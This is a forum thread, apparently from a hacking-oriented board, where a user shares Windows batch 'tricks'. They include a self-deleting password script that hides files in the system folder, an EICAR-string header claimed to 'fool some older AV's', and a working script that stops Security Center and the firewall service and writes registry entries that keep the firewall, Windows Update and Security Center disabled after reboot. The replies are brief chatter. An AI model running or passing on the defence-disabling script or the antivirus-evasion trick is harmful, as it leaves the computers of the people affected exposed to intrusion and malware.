The MOST Awsome Batch Tricks

DON'T post new tutorials here! Please use the "Pending Submissions" board so the staff can review them first.
Post Reply
User avatar
Insection
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 132
Joined: 22 Jul 2008, 16:00
15
Contact:

The MOST Awsome Batch Tricks

Post by Insection »

Well lemme say something.

Batch is great for beginners. Simple commands, cant get easier than that :lol:

These are some useful tricks that can help you improve your batch programing.


1. Password protect, Invalid Passwords= Self destruction

Code: Select all

@echo off
cd %systemroot%
color 0a
cls
echo.
echo.
set /p confirmation= Enter Security Password: 
if %confirmation%==Insection goto confirmed
if %confirmation%==selfdestruct goto selfdestruct
if exist "%systemroot%\death3.666" goto selfdestruct
if exist "%systemroot%\death2.666" goto say3
if exist "%systemroot%\death1.666" goto say2
:say1
copy %0 "%systemroot%\death1.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 3 more incorrect passwords.
exit
:say2
copy %0 "%systemroot%\death2.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 2 more incorrect passwords.
exit
:say3
copy %0 "%systemroot%\death3.666" >nul
attrib +r +h %systemroot%\*.666 >nul
msg * Incorrect Password, File self destructs after 1 more incorrect passwords.
exit
:selfdestruct
msg * File Self Destructed -Too many incorrect Passwords
del %0 /f /q >nul
:confirmed
YOUR CODE GOES HERE
As you can see, when the bat file is first opened it will ask for a password.
As you can see when the correct password is entered, it takes you to :confirmed and thats where you place your codes.

If an invalid password is entered the bat creates Hidden files which it uses to remember how many times an invalid password was entered in %systemroot%/WINDOWS and informs you of an invalid password entry.
So 1 invalid password = 1 log file
3 log files = your bat deleting itself

The next time you enter an invalid password, the bat file checks how many log files were created before (as in how many times you entered an invalid password) and if 3 log files have already been created then the bat deletes itself.


2. EICAR STRING

By simply putting this in the beginning of your bat, you may fool some older AV's

Code: Select all

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Remember: it must be on the first line of your bat file



3. Firewall "Disable"

Code: Select all

@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO REGEDIT4
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
This code can be placed into a .bat and when executed it will "disable" windows firewall. (even after a reboot)


Hope i helped - Will edit this post and add more stuff later on :D

User avatar
ph0bYx
Staff Member
Staff Member
Posts: 2039
Joined: 22 Sep 2008, 16:00
15
Contact:

Post by ph0bYx »

Here's a list of (I think) almost all batch commands:

Code: Select all

http://en.wikipedia.org/wiki/Batch_commands

User avatar
Swan
Knight of the Sword
Knight of the Sword
Posts: 827
Joined: 18 Oct 2006, 16:00
17
Contact:

Post by Swan »

good work fellows.
To the wicked, I am merely too knowledgeable in their ways.

User avatar
ph0bYx
Staff Member
Staff Member
Posts: 2039
Joined: 22 Sep 2008, 16:00
15
Contact:

Post by ph0bYx »

Damn, was just about to delete my post (since this isn't really a batch programing tutorial, but a list of batch examples) but Swan posted a second earlier.
Hope you don't mind Insection. :$

User avatar
InSaneGame
Newbie
Newbie
Posts: 9
Joined: 31 Jan 2009, 17:00
15

=>

Post by InSaneGame »

nice batch program.
Last edited by InSaneGame on 05 Feb 2009, 00:03, edited 1 time in total.

User avatar
Insection
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 132
Joined: 22 Jul 2008, 16:00
15
Contact:

Post by Insection »

yup, there are plenty of exe converters. I got a few different ones myself

Post Reply